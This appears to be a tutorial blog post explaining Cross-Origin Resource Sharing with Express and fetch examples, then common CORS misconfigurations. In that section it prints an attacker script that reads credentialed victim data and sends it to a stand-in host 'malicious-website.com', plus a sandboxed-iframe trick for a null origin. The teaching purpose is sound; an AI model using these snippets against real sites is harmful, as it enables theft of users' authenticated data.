What is Cross-Origin Resource Sharing
A browser mechanism which enables controlled access to resources located outside of a given domain.
It was originated from the same-origin policy, which limits the ability for a website to interact with resources outside of the source domain. Same-origin policy generally allows a domain to issue requests to other domains, but not to access the responses.
CORS was introduced to allow trusted cross-origin accesses. It uses a suite of HTTP headers that define trusted web origins and associated properties such as whether authenticated access is permitted. These are combined in a header exchange between a browser and the cross-origin web site that it is trying to access.
Consider the following server code
import express from 'express'
// import cors from 'cors'
const app = express();
// app.use(cors())
app.get('/', (_, res) => {
return res.status(200).json({ hello: 'world' })
})
app.listen(8080, () => {
console.log('Server is running.')
})
If we curl it, the response looks normal
❯ curl 'http://localhost:8080'
{"hello":"world"}
However, if we access it using the following web page hosted at http://localhost:12345
<!DOCTYPE html>
<html>
<body>
<script>
window.onload = () => {
fetch('http://localhost:8080/')
.then(res => res.json())
.then(res => {
document.getElementById('hello').innerHTML = `hello = ${res['hello']}`
})
}
</script>
<div id="hello"></div>
</body>
</html>
The request will fail because we are accessing a cross-origin resource, even though in developer tools the request returns HTTP 200.


Console output suggests
Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://localhost:8080/. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing). Status code: 200.
So even if the request succeeds, we cannot access the response.
If we allow cross-origin access by setting the CORS header, we can now access the response!

If we compare the two responses, the difference is the Access-Control-Allow-Origin header


Common misconfigurations
ACAO Header Generated by Client-Specific Origin Header
Some applications need to allow access from various domains. Maintaining an allow list requires ongoing effort, so some of them instead allow access from any domain.
One way to do so is by setting the ACAO header to Access-Control-Allow-Origin: *, but it is too obvious for attackers.
Another way is by reading the Origin header from requests and including a response header stating that the requesting origin is allowed.
For example, consider the following request
GET /data HTTP/2
Host: example.com
Origin: https://some.domain.com
...
The application responds with
HTTP/2 200 OK
Access-Control-Allow-Origin: https://some.domain.com
...
As we can see, Access-Control-Allow-Origin reflects the Origin header, which means that absolutely any domain can access resources from example.com.
Therefore, the attacker can retrieve response information by placing the following script on his website.
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
Error Parsing Origin Header
Some applications need to allow access from various subdomains. If the check mechanisim is poorly implemented, for example checking if Origin starts or ends with specific domain, the check can be bypassed by crafting specialized domains.
For example, suppose an application grants access to all domains ending with example.com. The attacker could register a domain hackerexample.com and it will be granted access.
Whitelist null origin value
null is a special origin in the specification. It may be sent by the browser in some unusual situations:
- Cross-origin redirects
- Requests from serialized data
- Requests using the
file:protocol - Sandboxed cross-origin requests (such as
iframe)
For example, consider the following web page
<!DOCTYPE html>
<html>
<body>
<iframe sandbox="allow-scripts" src="data:text/html,
<script>
fetch('http://localhost:8080/')
</script>">
</iframe>
</body>
</html>
We can log the Origin header and confirm the result
import express from 'express'
import cors from 'cors'
const app = express();
app.use(cors())
app.get('/', (req, res) => {
console.log(`Origin: ${req.headers['origin']}`)
return res.status(200).json({ hello: 'world' })
})
app.listen(8080, () => {
console.log('Server is running.')
})
// Server is running.
// Origin: null
If the null origin is allowed, the attacker could include the payload inside a iframe to bypass CORS restrictions.
XSS
If a trusted website contains an XSS vulnerability, the attacker could access cross-origin resources even if CORS is configured correctly.